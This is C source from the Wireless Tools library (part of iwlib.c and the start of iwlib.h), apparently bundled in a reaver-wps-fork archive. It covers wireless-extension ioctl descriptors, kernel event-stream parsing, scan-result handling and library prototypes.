IW_SCAN_MAX_DATA, .flags = IW_DESCR_FLAG_NOMAX, }, [SIOCSIWESSID - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .max_tokens = IW_ESSID_MAX_SIZE + 1, .flags = IW_DESCR_FLAG_EVENT, }, [SIOCGIWESSID - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .max_tokens = IW_ESSID_MAX_SIZE + 1, .flags = IW_DESCR_FLAG_DUMP, }, [SIOCSIWNICKN - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .max_tokens = IW_ESSID_MAX_SIZE + 1, }, [SIOCGIWNICKN - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .max_tokens = IW_ESSID_MAX_SIZE + 1, }, [SIOCSIWRATE - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCGIWRATE - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCSIWRTS - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCGIWRTS - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCSIWFRAG - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCGIWFRAG - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCSIWTXPOW - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCGIWTXPOW - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCSIWRETRY - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCGIWRETRY - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCSIWENCODE - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .max_tokens = IW_ENCODING_TOKEN_MAX, .flags = IW_DESCR_FLAG_EVENT | IW_DESCR_FLAG_RESTRICT, }, [SIOCGIWENCODE - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .max_tokens = IW_ENCODING_TOKEN_MAX, .flags = IW_DESCR_FLAG_DUMP | IW_DESCR_FLAG_RESTRICT, }, [SIOCSIWPOWER - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCGIWPOWER - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCSIWMODUL - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCGIWMODUL - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCSIWGENIE - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .max_tokens = IW_GENERIC_IE_MAX, }, [SIOCGIWGENIE - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .max_tokens = IW_GENERIC_IE_MAX, }, [SIOCSIWAUTH - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCGIWAUTH - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCSIWENCODEEXT - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .min_tokens = sizeof(struct iw_encode_ext), .max_tokens = sizeof(struct iw_encode_ext) + IW_ENCODING_TOKEN_MAX, }, [SIOCGIWENCODEEXT - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .min_tokens = sizeof(struct iw_encode_ext), .max_tokens = sizeof(struct iw_encode_ext) + IW_ENCODING_TOKEN_MAX, }, [SIOCSIWPMKSA - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .min_tokens = sizeof(struct iw_pmksa), .max_tokens = sizeof(struct iw_pmksa), }, }; static const unsigned int standard_ioctl_num = (sizeof(standard_ioctl_descr) / sizeof(struct iw_ioctl_description)); /* * Meta-data about all the additional standard Wireless Extension events * we know about. */ static const struct iw_ioctl_description standard_event_descr[] = { [IWEVTXDROP - IWEVFIRST] = { .header_type = IW_HEADER_TYPE_ADDR, }, [IWEVQUAL - IWEVFIRST] = { .header_type = IW_HEADER_TYPE_QUAL, }, [IWEVCUSTOM - IWEVFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .max_tokens = IW_CUSTOM_MAX, }, [IWEVREGISTERED - IWEVFIRST] = { .header_type = IW_HEADER_TYPE_ADDR, }, [IWEVEXPIRED - IWEVFIRST] = { .header_type = IW_HEADER_TYPE_ADDR, }, [IWEVGENIE - IWEVFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .max_tokens = IW_GENERIC_IE_MAX, }, [IWEVMICHAELMICFAILURE - IWEVFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .max_tokens = sizeof(struct iw_michaelmicfailure), }, [IWEVASSOCREQIE - IWEVFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .max_tokens = IW_GENERIC_IE_MAX, }, [IWEVASSOCRESPIE - IWEVFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .max_tokens = IW_GENERIC_IE_MAX, }, [IWEVPMKIDCAND - IWEVFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .max_tokens = sizeof(struct iw_pmkid_cand), }, }; static const unsigned int standard_event_num = (sizeof(standard_event_descr) / sizeof(struct iw_ioctl_description)); /* Size (in bytes) of various events */ static const int event_type_size[] = { IW_EV_LCP_PK_LEN, /* IW_HEADER_TYPE_NULL */ 0, IW_EV_CHAR_PK_LEN, /* IW_HEADER_TYPE_CHAR */ 0, IW_EV_UINT_PK_LEN, /* IW_HEADER_TYPE_UINT */ IW_EV_FREQ_PK_LEN, /* IW_HEADER_TYPE_FREQ */ IW_EV_ADDR_PK_LEN, /* IW_HEADER_TYPE_ADDR */ 0, IW_EV_POINT_PK_LEN, /* Without variable payload */ IW_EV_PARAM_PK_LEN, /* IW_HEADER_TYPE_PARAM */ IW_EV_QUAL_PK_LEN, /* IW_HEADER_TYPE_QUAL */ }; /*------------------------------------------------------------------*/ /* * Initialise the struct stream_descr so that we can extract * individual events from the event stream. */ void iw_init_event_stream(struct stream_descr * stream, /* Stream of events */ char * data, int len) { /* Cleanup */ memset((char *) stream, '\0', sizeof(struct stream_descr)); /* Set things up */ stream->current = data; stream->end = data + len; } /*------------------------------------------------------------------*/ /* * Extract the next event from the event stream. */ int iw_extract_event_stream(struct stream_descr * stream, /* Stream of events */ struct iw_event * iwe, /* Extracted event */ int we_version) { const struct iw_ioctl_description * descr = NULL; int event_type = 0; unsigned int event_len = 1; /* Invalid */ char * pointer; /* Don't "optimise" the following variable, it will crash */ unsigned cmd_index; /* *MUST* be unsigned */ /* Check for end of stream */ if((stream->current + IW_EV_LCP_PK_LEN) > stream->end) return(0); #ifdef DEBUG printf("DBG - stream->current = %p, stream->value = %p, stream->end = %p\n", stream->current, stream->value, stream->end); #endif /* Extract the event header (to get the event id). * Note : the event may be unaligned, therefore copy... */ memcpy((char *) iwe, stream->current, IW_EV_LCP_PK_LEN); #ifdef DEBUG printf("DBG - iwe->cmd = 0x%X, iwe->len = %d\n", iwe->cmd, iwe->len); #endif /* Check invalid events */ if(iwe->len <= IW_EV_LCP_PK_LEN) return(-1); /* Get the type and length of that event */ if(iwe->cmd <= SIOCIWLAST) { cmd_index = iwe->cmd - SIOCIWFIRST; if(cmd_index < standard_ioctl_num) descr = &(standard_ioctl_descr[cmd_index]); } else { cmd_index = iwe->cmd - IWEVFIRST; if(cmd_index < standard_event_num) descr = &(standard_event_descr[cmd_index]); } if(descr != NULL) event_type = descr->header_type; /* Unknown events -> event_type=0 => IW_EV_LCP_PK_LEN */ event_len = event_type_size[event_type]; /* Fixup for earlier version of WE */ if((we_version <= 18) && (event_type == IW_HEADER_TYPE_POINT)) event_len += IW_EV_POINT_OFF; /* Check if we know about this event */ if(event_len <= IW_EV_LCP_PK_LEN) { /* Skip to next event */ stream->current += iwe->len; return(2); } event_len -= IW_EV_LCP_PK_LEN; /* Set pointer on data */ if(stream->value != NULL) pointer = stream->value; /* Next value in event */ else pointer = stream->current + IW_EV_LCP_PK_LEN; /* First value in event */ #ifdef DEBUG printf("DBG - event_type = %d, event_len = %d, pointer = %p\n", event_type, event_len, pointer); #endif /* Copy the rest of the event (at least, fixed part) */ if((pointer + event_len) > stream->end) { /* Go to next event */ stream->current += iwe->len; return(-2); } /* Fixup for WE-19 and later : pointer no longer in the stream */ /* Beware of alignement. Dest has local alignement, not packed */ if((we_version > 18) && (event_type == IW_HEADER_TYPE_POINT)) memcpy((char *) iwe + IW_EV_LCP_LEN + IW_EV_POINT_OFF, pointer, event_len); else memcpy((char *) iwe + IW_EV_LCP_LEN, pointer, event_len); /* Skip event in the stream */ pointer += event_len; /* Special processing for iw_point events */ if(event_type == IW_HEADER_TYPE_POINT) { /* Check the length of the payload */ unsigned int extra_len = iwe->len - (event_len + IW_EV_LCP_PK_LEN); if(extra_len > 0) { /* Set pointer on variable part (warning : non aligned) */ iwe->u.data.pointer = pointer; /* Check that we have a descriptor for the command */ if(descr == NULL) /* Can't check payload -> unsafe... */ iwe->u.data.pointer = NULL; /* Discard paylod */ else { /* Those checks are actually pretty hard to trigger, * because of the checks done in the kernel... */ unsigned int token_len = iwe->u.data.length * descr->token_size; /* Ugly fixup for alignement issues. * If the kernel is 64 bits and userspace 32 bits, * we have an extra 4+4 bytes. * Fixing that in the kernel would break 64 bits userspace. */ if((token_len != extra_len) && (extra_len >= 4)) { uint16_t alt_dlen = *((uint16_t *) pointer); unsigned int alt_token_len = alt_dlen * descr->token_size; if((alt_token_len + 8) == extra_len) { #ifdef DEBUG printf("DBG - alt_token_len = %d\n", alt_token_len); #endif /* Ok, let's redo everything */ pointer -= event_len; pointer += 4; /* Dest has local alignement, not packed */ memcpy((char *) iwe + IW_EV_LCP_LEN + IW_EV_POINT_OFF, pointer, event_len); pointer += event_len + 4; iwe->u.data.pointer = pointer; token_len = alt_token_len; } } /* Discard bogus events which advertise more tokens than * what they carry... */ if(token_len > extra_len) iwe->u.data.pointer = NULL; /* Discard paylod */ /* Check that the advertised token size is not going to * produce buffer overflow to our caller... */ if((iwe->u.data.length > descr->max_tokens) && !(descr->flags & IW_DESCR_FLAG_NOMAX)) iwe->u.data.pointer = NULL; /* Discard paylod */ /* Same for underflows... */ if(iwe->u.data.length < descr->min_tokens) iwe->u.data.pointer = NULL; /* Discard paylod */ #ifdef DEBUG printf("DBG - extra_len = %d, token_len = %d, token = %d, max = %d, min = %d\n", extra_len, token_len, iwe->u.data.length, descr->max_tokens, descr->min_tokens); #endif } } else /* No data */ iwe->u.data.pointer = NULL; /* Go to next event */ stream->current += iwe->len; } else { /* Ugly fixup for alignement issues. * If the kernel is 64 bits and userspace 32 bits, * we have an extra 4 bytes. * Fixing that in the kernel would break 64 bits userspace. */ if((stream->value == NULL) && ((((iwe->len - IW_EV_LCP_PK_LEN) % event_len) == 4) || ((iwe->len == 12) && ((event_type == IW_HEADER_TYPE_UINT) || (event_type == IW_HEADER_TYPE_QUAL))) )) { #ifdef DEBUG printf("DBG - alt iwe->len = %d\n", iwe->len - 4); #endif pointer -= event_len; pointer += 4; /* Beware of alignement. Dest has local alignement, not packed */ memcpy((char *) iwe + IW_EV_LCP_LEN, pointer, event_len); pointer += event_len; } /* Is there more value in the event ? */ if((pointer + event_len) <= (stream->current + iwe->len)) /* Go to next value */ stream->value = pointer; else { /* Go to next event */ stream->value = NULL; stream->current += iwe->len; } } return(1); } /*********************** SCANNING SUBROUTINES ***********************/ /* * The Wireless Extension API 14 and greater define Wireless Scanning. * The normal API is complex, this is an easy API that return * a subset of the scanning results. This should be enough for most * applications that want to use Scanning. * If you want to have use the full/normal API, check iwlist.c... * * Precaution when using scanning : * The scanning operation disable normal network traffic, and therefore * you should not abuse of scan. * The scan need to check the presence of network on other frequencies. * While you are checking those other frequencies, you can *NOT* be on * your normal frequency to listen to normal traffic in the cell. * You need typically in the order of one second to actively probe all * 802.11b channels (do the maths). Some cards may do that in background, * to reply to scan commands faster, but they still have to do it. * Leaving the cell for such an extended period of time is pretty bad. * Any kind of streaming/low latency traffic will be impacted, and the * user will perceive it (easily checked with telnet). People trying to * send traffic to you will retry packets and waste bandwidth. Some * applications may be sensitive to those packet losses in weird ways, * and tracing those weird behavior back to scanning may take time. * If you are in ad-hoc mode, if two nodes scan approx at the same * time, they won't see each other, which may create associations issues. * For those reasons, the scanning activity should be limited to * what's really needed, and continuous scanning is a bad idea. * Jean II */ /*------------------------------------------------------------------*/ /* * Process/store one element from the scanning results in wireless_scan */ static inline struct wireless_scan * iw_process_scanning_token(struct iw_event * event, struct wireless_scan * wscan) { struct wireless_scan * oldwscan; /* Now, let's decode the event */ switch(event->cmd) { case SIOCGIWAP: /* New cell description. Allocate new cell descriptor, zero it. */ oldwscan = wscan; wscan = (struct wireless_scan *) malloc(sizeof(struct wireless_scan)); if(wscan == NULL) return(wscan); /* Link at the end of the list */ if(oldwscan != NULL) oldwscan->next = wscan; /* Reset it */ bzero(wscan, sizeof(struct wireless_scan)); /* Save cell identifier */ wscan->has_ap_addr = 1; memcpy(&(wscan->ap_addr), &(event->u.ap_addr), sizeof (sockaddr)); break; case SIOCGIWNWID: wscan->b.has_nwid = 1; memcpy(&(wscan->b.nwid), &(event->u.nwid), sizeof(iwparam)); break; case SIOCGIWFREQ: wscan->b.has_freq = 1; wscan->b.freq = iw_freq2float(&(event->u.freq)); wscan->b.freq_flags = event->u.freq.flags; break; case SIOCGIWMODE: wscan->b.mode = event->u.mode; if((wscan->b.mode < IW_NUM_OPER_MODE) && (wscan->b.mode >= 0)) wscan->b.has_mode = 1; break; case SIOCGIWESSID: wscan->b.has_essid = 1; wscan->b.essid_on = event->u.data.flags; memset(wscan->b.essid, '\0', IW_ESSID_MAX_SIZE+1); if((event->u.essid.pointer) && (event->u.essid.length)) memcpy(wscan->b.essid, event->u.essid.pointer, event->u.essid.length); break; case SIOCGIWENCODE: wscan->b.has_key = 1; wscan->b.key_size = event->u.data.length; wscan->b.key_flags = event->u.data.flags; if(event->u.data.pointer) memcpy(wscan->b.key, event->u.essid.pointer, event->u.data.length); else wscan->b.key_flags |= IW_ENCODE_NOKEY; break; case IWEVQUAL: /* We don't get complete stats, only qual */ wscan->has_stats = 1; memcpy(&wscan->stats.qual, &event->u.qual, sizeof(struct iw_quality)); break; case SIOCGIWRATE: /* Scan may return a list of bitrates. As we have space for only * a single bitrate, we only keep the largest one. */ if((!wscan->has_maxbitrate) || (event->u.bitrate.value > wscan->maxbitrate.value)) { wscan->has_maxbitrate = 1; memcpy(&(wscan->maxbitrate), &(event->u.bitrate), sizeof(iwparam)); } case IWEVCUSTOM: /* How can we deal with those sanely ? Jean II */ default: break; } /* switch(event->cmd) */ return(wscan); } #if 0 /*------------------------------------------------------------------*/ /* * Initiate the scan procedure, and process results. * This is a non-blocking procedure and it will return each time * it would block, returning the amount of time the caller should wait * before calling again. * Return -1 for error, delay to wait for (in ms), or 0 for success. * Error code is in errno */ int iw_process_scan(int skfd, char * ifname, int we_version, wireless_scan_head * context) { struct iwreq wrq; unsigned char * buffer = NULL; /* Results */ int buflen = IW_SCAN_MAX_DATA; /* Min for compat WE<17 */ unsigned char * newbuf; /* Don't waste too much time on interfaces (150 * 100 = 15s) */ context->retry++; if(context->retry > 150) { errno = ETIME; return(-1); } /* If we have not yet initiated scanning on the interface */ if(context->retry == 1) { /* Initiate Scan */ wrq.u.data.pointer = NULL; /* Later */ wrq.u.data.flags = 0; wrq.u.data.length = 0; /* Remember that as non-root, we will get an EPERM here */ if((iw_set_ext(skfd, ifname, SIOCSIWSCAN, &wrq) < 0) && (errno != EPERM)) return(-1); /* Success : now, just wait for event or results */ return(250); /* Wait 250 ms */ } realloc: /* (Re)allocate the buffer - realloc(NULL, len) == malloc(len) */ newbuf = realloc(buffer, buflen); if(newbuf == NULL) { /* man says : If realloc() fails the original block is left untouched */ if(buffer) free(buffer); errno = ENOMEM; return(-1); } buffer = newbuf; /* Try to read the results */ wrq.u.data.pointer = buffer; wrq.u.data.flags = 0; wrq.u.data.length = buflen; if(iw_get_ext(skfd, ifname, SIOCGIWSCAN, &wrq) < 0) { /* Check if buffer was too small (WE-17 only) */ if((errno == E2BIG) && (we_version > 16)) { /* Some driver may return very large scan results, either * because there are many cells, or because they have many * large elements in cells (like IWEVCUSTOM). Most will * only need the regular sized buffer. We now use a dynamic * allocation of the buffer to satisfy everybody. Of course, * as we don't know in advance the size of the array, we try * various increasing sizes. Jean II */ /* Check if the driver gave us any hints. */ if(wrq.u.data.length > buflen) buflen = wrq.u.data.length; else buflen *= 2; /* Try again */ goto realloc; } /* Check if results not available yet */ if(errno == EAGAIN) { free(buffer); /* Wait for only 100ms from now on */ return(100); /* Wait 100 ms */ } free(buffer); /* Bad error, please don't come back... */ return(-1); } /* We have the results, process them */ if(wrq.u.data.length) { struct iw_event iwe; struct stream_descr stream; struct wireless_scan * wscan = NULL; int ret; #ifdef DEBUG /* Debugging code. In theory useless, because it's debugged ;-) */ int i; printf("Scan result [%02X", buffer[0]); for(i = 1; i < wrq.u.data.length; i++) printf(":%02X", buffer[i]); printf("]\n"); #endif /* Init */ iw_init_event_stream(&stream, (char *) buffer, wrq.u.data.length); /* This is dangerous, we may leak user data... */ context->result = NULL; /* Look every token */ do { /* Extract an event and print it */ ret = iw_extract_event_stream(&stream, &iwe, we_version); if(ret > 0) { /* Convert to wireless_scan struct */ wscan = iw_process_scanning_token(&iwe, wscan); /* Check problems */ if(wscan == NULL) { free(buffer); errno = ENOMEM; return(-1); } /* Save head of list */ if(context->result == NULL) context->result = wscan; } } while(ret > 0); } /* Done with this interface - return success */ free(buffer); return(0); } /*------------------------------------------------------------------*/ /* * Perform a wireless scan on the specified interface. * This is a blocking procedure and it will when the scan is completed * or when an error occur. * * The scan results are given in a linked list of wireless_scan objects. * The caller *must* free the result himself (by walking the list). * If there is an error, -1 is returned and the error code is available * in errno. * * The parameter we_version can be extracted from the range structure * (range.we_version_compiled - see iw_get_range_info()), or using * iw_get_kernel_we_version(). For performance reason, you should * cache this parameter when possible rather than querying it every time. * * Return -1 for error and 0 for success. */ int iw_scan(int skfd, char * ifname, int we_version, wireless_scan_head * context) { int delay; /* in ms */ /* Clean up context. Potential memory leak if(context.result != NULL) */ context->result = NULL; context->retry = 0; /* Wait until we get results or error */ while(1) { /* Try to get scan results */ delay = iw_process_scan(skfd, ifname, we_version, context); /* Check termination */ if(delay <= 0) break; /* Wait a bit */ usleep(delay * 1000); } /* End - return -1 or 0 */ return(delay); } #endif reaver-wps-fork-t6x-1.6.6/src/lwe/iwlib.h000077500000000000000000000406441363372615500201600ustar00rootroot00000000000000/* * Wireless Tools * * Jean II - HPLB 97->99 - HPL 99->07 * * Common header for the Wireless Extension library... * * This file is released under the GPL license. * Copyright (c) 1997-2007 Jean Tourrilhes */ #ifndef IWLIB_H #define IWLIB_H /*#include "CHANGELOG.h"*/ /***************************** INCLUDES *****************************/ /* Standard headers */ #undef _GNU_SOURCE #define _GNU_SOURCE #undef _BSD_SOURCE #define _BSD_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include /* gethostbyname, getnetbyname */ #include /* struct ether_addr */ #include /* struct timeval */ #include /* This is our header selection. Try to hide the mess and the misery :-( * Don't look, you would go blind ;-) * Note : compatibility with *old* distributions has been removed, * you will need Glibc 2.2 and older to compile (which means * Mandrake 8.0, Debian 2.3, RH 7.1 or older). */ /* Set of headers proposed by Dr. Michael Rietz , 27.3.2 */ #include /* For ARPHRD_ETHER */ #include /* For AF_INET & struct sockaddr */ #include /* For struct sockaddr_in */ #include /* system headers are supposedly less problematic than kernel ones */ #include /* for "struct sockaddr" et al */ #include /* for IFNAMSIZ and co... */ /* Private copy of Wireless extensions (in this directoty) */ #include "wireless.h" #ifndef ETH_ALEN #define ETH_ALEN 6 #endif /* Make gcc understant that when we say inline, we mean it. * I really hate when the compiler is trying to be more clever than me, * because in this case gcc is not able to figure out functions with a * single call site, so not only I have to tag those functions inline * by hand, but then it refuse to inline them properly. * Total saving for iwevent : 150B = 0.7%. * Fortunately, in gcc 3.4, they now automatically inline static functions * with a single call site. Hurrah ! * Jean II */ #undef IW_GCC_HAS_BROKEN_INLINE #if __GNUC__ == 3 #if __GNUC_MINOR__ >= 1 && __GNUC_MINOR__ < 4 #define IW_GCC_HAS_BROKEN_INLINE 1 #endif /* __GNUC_MINOR__ */ #endif /* __GNUC__ */ /* However, gcc 4.0 has introduce a new "feature", when compiling with * '-Os', it does not want to inline iw_ether_cmp() and friends. * So, we need to fix inline again ! * Jean II */ #if __GNUC__ == 4 #define IW_GCC_HAS_BROKEN_INLINE 1 #endif /* __GNUC__ */ /* Now, really fix the inline */ #ifdef IW_GCC_HAS_BROKEN_INLINE #ifdef inline #undef inline #endif /* inline */ #define inline inline __attribute__((always_inline)) #endif /* IW_GCC_HAS_BROKEN_INLINE */ #ifdef __cplusplus extern "C" { #endif /****************************** DEBUG ******************************/ //#define DEBUG 1 /************************ CONSTANTS & MACROS ************************/ /* Various versions information */ /* Recommended Wireless Extension version */ #define WE_VERSION 21 /* Maximum forward compatibility built in this version of WT */ #define WE_MAX_VERSION 22 /* Version of Wireless Tools */ #define WT_VERSION 29 /* Paths */ #define PROC_NET_WIRELESS "/proc/net/wireless" #define PROC_NET_DEV "/proc/net/dev" /* Some usefull constants */ #define KILO 1e3 #define MEGA 1e6 #define GIGA 1e9 /* For doing log10/exp10 without libm */ #define LOG10_MAGIC 1.25892541179 /* Backward compatibility for network headers */ #ifndef ARPHRD_IEEE80211 #define ARPHRD_IEEE80211 801 /* IEEE 802.11 */ #endif /* ARPHRD_IEEE80211 */ #ifndef IW_EV_LCP_PK_LEN /* Size of the Event prefix when packed in stream */ #define IW_EV_LCP_PK_LEN (4) /* Size of the various events when packed in stream */ #define IW_EV_CHAR_PK_LEN (IW_EV_LCP_PK_LEN + IFNAMSIZ) #define IW_EV_UINT_PK_LEN (IW_EV_LCP_PK_LEN + sizeof(uint32_t)) #define IW_EV_FREQ_PK_LEN (IW_EV_LCP_PK_LEN + sizeof(struct iw_freq)) #define IW_EV_PARAM_PK_LEN (IW_EV_LCP_PK_LEN + sizeof(struct iw_param)) #define IW_EV_ADDR_PK_LEN (IW_EV_LCP_PK_LEN + sizeof(struct sockaddr)) #define IW_EV_QUAL_PK_LEN (IW_EV_LCP_PK_LEN + sizeof(struct iw_quality)) #define IW_EV_POINT_PK_LEN (IW_EV_LCP_PK_LEN + 4) struct iw_pk_event { uint16_t len; /* Real lenght of this stuff */ uint16_t cmd; /* Wireless IOCTL */ union iwreq_data u; /* IOCTL fixed payload */ } __attribute__ ((packed)); struct iw_pk_point { void *pointer; /* Pointer to the data (in user space) */ uint16_t length; /* number of fields or size in bytes */ uint16_t flags; /* Optional params */ } __attribute__ ((packed)); #define IW_EV_LCP_PK2_LEN (sizeof(struct iw_pk_event) - sizeof(union iwreq_data)) #define IW_EV_POINT_PK2_LEN (IW_EV_LCP_PK2_LEN + sizeof(struct iw_pk_point) - IW_EV_POINT_OFF) #endif /* IW_EV_LCP_PK_LEN */ /****************************** TYPES ******************************/ /* Shortcuts */ typedef struct iw_statistics iwstats; typedef struct iw_range iwrange; typedef struct iw_param iwparam; typedef struct iw_freq iwfreq; typedef struct iw_quality iwqual; typedef struct iw_priv_args iwprivargs; typedef struct sockaddr sockaddr; /* Structure for storing all wireless information for each device * This is a cut down version of the one above, containing only * the things *truly* needed to configure a card. * Don't add other junk, I'll remove it... */ typedef struct wireless_config { char name[IFNAMSIZ + 1]; /* Wireless/protocol name */ int has_nwid; iwparam nwid; /* Network ID */ int has_freq; double freq; /* Frequency/channel */ int freq_flags; int has_key; unsigned char key[IW_ENCODING_TOKEN_MAX]; /* Encoding key used */ int key_size; /* Number of bytes */ int key_flags; /* Various flags */ int has_essid; int essid_on; char essid[IW_ESSID_MAX_SIZE + 1]; /* ESSID (extended network) */ int has_mode; int mode; /* Operation mode */ } wireless_config; /* Structure for storing all wireless information for each device * This is pretty exhaustive... */ typedef struct wireless_info { struct wireless_config b; /* Basic information */ int has_sens; iwparam sens; /* sensitivity */ int has_nickname; char nickname[IW_ESSID_MAX_SIZE + 1]; /* NickName */ int has_ap_addr; sockaddr ap_addr; /* Access point address */ int has_bitrate; iwparam bitrate; /* Bit rate in bps */ int has_rts; iwparam rts; /* RTS threshold in bytes */ int has_frag; iwparam frag; /* Fragmentation threshold in bytes */ int has_power; iwparam power; /* Power management parameters */ int has_txpower; iwparam txpower; /* Transmit Power in dBm */ int has_retry; iwparam retry; /* Retry limit or lifetime */ /* Stats */ iwstats stats; int has_stats; iwrange range; int has_range; /* Auth params for WPA/802.1x/802.11i */ int auth_key_mgmt; int has_auth_key_mgmt; int auth_cipher_pairwise; int has_auth_cipher_pairwise; int auth_cipher_group; int has_auth_cipher_group; } wireless_info; /* Structure for storing an entry of a wireless scan. * This is only a subset of all possible information, the flexible * structure of scan results make it impossible to capture all * information in such a static structure. */ typedef struct wireless_scan { /* Linked list */ struct wireless_scan * next; /* Cell identifiaction */ int has_ap_addr; sockaddr ap_addr; /* Access point address */ /* Other information */ struct wireless_config b; /* Basic information */ iwstats stats; /* Signal strength */ int has_stats; iwparam maxbitrate; /* Max bit rate in bps */ int has_maxbitrate; } wireless_scan; /* * Context used for non-blocking scan. */ typedef struct wireless_scan_head { wireless_scan * result; /* Result of the scan */ int retry; /* Retry level */ } wireless_scan_head; /* Structure used for parsing event streams, such as Wireless Events * and scan results */ typedef struct stream_descr { char * end; /* End of the stream */ char * current; /* Current event in stream of events */ char * value; /* Current value in event */ } stream_descr; /* Prototype for handling display of each single interface on the * system - see iw_enum_devices() */ typedef int (*iw_enum_handler)(int skfd, char * ifname, char * args[], int count); /* Describe a modulation */ typedef struct iw_modul_descr { unsigned int mask; /* Modulation bitmask */ char cmd[8]; /* Short name */ char * verbose; /* Verbose description */ } iw_modul_descr; /**************************** PROTOTYPES ****************************/ /* * All the functions in iwcommon.c */ /* ---------------------- SOCKET SUBROUTINES -----------------------*/ int iw_sockets_open(void); void iw_enum_devices(int skfd, iw_enum_handler fn, char * args[], int count); /* --------------------- WIRELESS SUBROUTINES ----------------------*/ int iw_get_kernel_we_version(void); int iw_print_version_info(const char * toolname); int iw_get_range_info(int skfd, const char * ifname, iwrange * range); int iw_get_priv_info(int skfd, const char * ifname, iwprivargs ** ppriv); int iw_get_basic_config(int skfd, const char * ifname, wireless_config * info); int iw_set_basic_config(int skfd, const char * ifname, wireless_config * info); /* --------------------- PROTOCOL SUBROUTINES --------------------- */ int iw_protocol_compare(const char * protocol1, const char * protocol2); /* -------------------- FREQUENCY SUBROUTINES --------------------- */ void iw_float2freq(double in, iwfreq * out); double iw_freq2float(const iwfreq * in); void iw_print_freq_value(char * buffer, int buflen, double freq); void iw_print_freq(char * buffer, int buflen, double freq, int channel, int freq_flags); int iw_freq_to_channel(double freq, const struct iw_range * range); int iw_channel_to_freq(int channel, double * pfreq, const struct iw_range * range); void iw_print_bitrate(char * buffer, int buflen, int bitrate); /* ---------------------- POWER SUBROUTINES ----------------------- */ int iw_dbm2mwatt(int in); int iw_mwatt2dbm(int in); void iw_print_txpower(char * buffer, int buflen, struct iw_param * txpower); /* -------------------- STATISTICS SUBROUTINES -------------------- */ int iw_get_stats(int skfd, const char * ifname, iwstats * stats, const iwrange * range, int has_range); void iw_print_stats(char * buffer, int buflen, const iwqual * qual, const iwrange * range, int has_range); /* --------------------- ENCODING SUBROUTINES --------------------- */ void iw_print_key(char * buffer, int buflen, const unsigned char * key, int key_size, int key_flags); int iw_in_key(const char * input, unsigned char * key); int iw_in_key_full(int skfd, const char * ifname, const char * input, unsigned char * key, uint16_t * flags); /* ----------------- POWER MANAGEMENT SUBROUTINES ----------------- */ void iw_print_pm_value(char * buffer, int buflen, int value, int flags, int we_version); void iw_print_pm_mode(char * buffer, int buflen, int flags); /* --------------- RETRY LIMIT/LIFETIME SUBROUTINES --------------- */ void iw_print_retry_value(char * buffer, int buflen, int value, int flags, int we_version); /* ----------------------- TIME SUBROUTINES ----------------------- */ void iw_print_timeval(char * buffer, int buflen, const struct timeval * time, const struct timezone * tz); /* --------------------- ADDRESS SUBROUTINES ---------------------- */ int iw_check_mac_addr_type(int skfd, const char * ifname); int iw_check_if_addr_type(int skfd, const char * ifname); #if 0 int iw_check_addr_type(int skfd, const char * ifname); #endif #if 0 int iw_get_mac_addr(int skfd, const char * name, struct ether_addr * eth, unsigned short * ptype); #endif char * iw_mac_ntop(const unsigned char * mac, int maclen, char * buf, int buflen); void iw_ether_ntop(const struct ether_addr * eth, char * buf); char * iw_sawap_ntop(const struct sockaddr * sap, char * buf); int iw_mac_aton(const char * orig, unsigned char * mac, int macmax); int iw_ether_aton(const char* bufp, struct ether_addr* eth); int iw_in_inet(char *bufp, struct sockaddr *sap); int iw_in_addr(int skfd, const char * ifname, char * bufp, struct sockaddr * sap); /* ----------------------- MISC SUBROUTINES ------------------------ */ int iw_get_priv_size(int args); /* ---------------------- EVENT SUBROUTINES ---------------------- */ void iw_init_event_stream(struct stream_descr * stream, char * data, int len); int iw_extract_event_stream(struct stream_descr * stream, struct iw_event * iwe, int we_version); /* --------------------- SCANNING SUBROUTINES --------------------- */ int iw_process_scan(int skfd, char * ifname, int we_version, wireless_scan_head * context); int iw_scan(int skfd, char * ifname, int we_version, wireless_scan_head * context); /**************************** VARIABLES 